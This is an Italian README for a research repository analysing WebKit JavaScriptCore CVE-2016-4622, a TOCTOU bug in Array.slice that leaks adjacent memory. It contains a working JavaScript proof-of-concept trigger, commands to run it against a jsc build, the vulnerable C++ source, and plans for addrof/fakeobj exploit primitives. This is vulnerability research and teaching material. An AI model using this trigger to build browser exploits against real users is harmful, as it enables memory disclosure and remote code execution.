
Il mio percorso attraverso il processo di sfruttamento di WebKit CVE-2016-4622
Analisi completa e sfruttamento della vulnerabilità del motore JavaScript Core di WebKit che consente la divulgazione di memoria attraverso la manipolazione di Array.slice
Questo repository contiene un'analisi completa di CVE-2016-4622, una vulnerabilità critica di divulgazione di memoria nel motore JavaScript Core di WebKit. La vulnerabilità deriva da una race condition nell'implementazione di Array.slice() che può essere sfruttata per perdere i contenuti di memoria adiacenti, fungendo da base per primitive di sfruttamento più sofisticate come addrof e fakeobj.
Impatto: Divulgazione di memoria che porta a potenziale esecuzione di codice remoto
Componente Affetto: WebKit JavaScript Core (JSC)
Causa Radice: Vulnerabilità Time-of-check-time-of-use (TOCTOU) nell'implementazione di fastSlice
La vulnerabilità esiste nel 'percorso rapido' ottimizzato di WebKit per il metodo Array.slice(). Durante l'elaborazione dei parametri di slice, il motore converte gli argomenti oggetto in valori primitivi chiamando il loro metodo valueOf(). Questa conversione avviene dopo aver determinato i parametri dell'operazione di slice ma prima dell'effettiva operazione di copia in memoria.
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
Cosa succede:
a viene creato con 100 elementivalueOf()valueOf() malevolo riduce l'array a lunghezza 0memcpy tenta di copiare 10 elementi da un array vuotoWebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Implementazione di riferimento di Saelo
├── Exploit/ # Tentativi di sfruttamento personalizzati
│ ├── poc-memleak.js # Proof-of-concept di perdita di memoria
│ └── slice_over_array.js # Esempi didattici
├── WebKit-SRC-CVE-2016-4622/ # Codice sorgente vulnerabile (commit 320b1fc)
├── WebKit-Bins/ # Binari compilati per test
│ ├── Debug/ # Build di debug con simboli
│ └── ASAN/ # Build con AddressSanitizer abilitato
└── Screenshoots/ # Documentazione visiva
Binari: Binari JSC precompilati su VMWare OSX 10.11 con XCode 7.3.2 Architettura: Eseguibili Mach-O x86_64 Funzionalità di Debug: Simboli + AddressSanitizer per analisi completa
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Il metodo Array.slice(begin, end) crea una copia superficiale di una porzione di un array. In condizioni normali:
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Returns ['b', 'c']
Intuizione chiave: Il parametro end subisce una conversione di tipo tramite valueOf(), creando una finestra per lo sfruttamento.
Quando la vulnerabilità si attiva, AddressSanitizer cattura questo flusso di chiamate:
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context

arrayProtoFuncSlice() - Punto di IngressoPosizione: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Vulnerability triggers here
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... fallback implementation
}
argumentClampedIndexFromStartOrEnd() - Il Trigger di ConversionePosizione: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// CRITICAL: This is where valueOf() gets called
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
La Race Condition:
{valueOf: function() { a.length = 0; return 10; }}value.toInteger(exec) chiama il nostro valueOf() malevolofastSlice() - Dove Avviene la Corruzione della MemoriaPosizione: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... setup code ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// VULNERABILITY: Reads beyond array bounds
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
La Corruzione della Memoria:
startIndex = 0, count = 10valueOf())memcpy legge 10 JSValue a partire dall'indice 0Fase di Configurazione
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
Fase di Attivazione
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
Fase di Sfruttamento
valueOf()fastSlice tenta di copiare 10 elementi da un array vuotoRisultato
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf(): [] (length=0)
memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...
Questa vulnerabilità funge da base per:
addrof/fakeobjStrategie di Mitigazione:
memcpy320b1fc3f6fCronologia della Ricerca: 11-12 Aprile 2020
Stato: Analisi Completata ✅
Prossimi Passi: Sviluppo della catena di sfruttamento completa con primitive addrof/fakeobj
| Componente | Problema | Impatto |
|---|
| Elaborazione dei Parametri | TOCTOU in argumentClampedIndexFromStartOrEnd | Consente la modifica dello stato durante l'elaborazione |
| Logica del Percorso Rapido | Validazione insufficiente in fastSlice | Aggira i controlli dei limiti |
| Operazioni di Memoria | memcpy non controllato nella copia dell'array | Divulgazione diretta della memoria |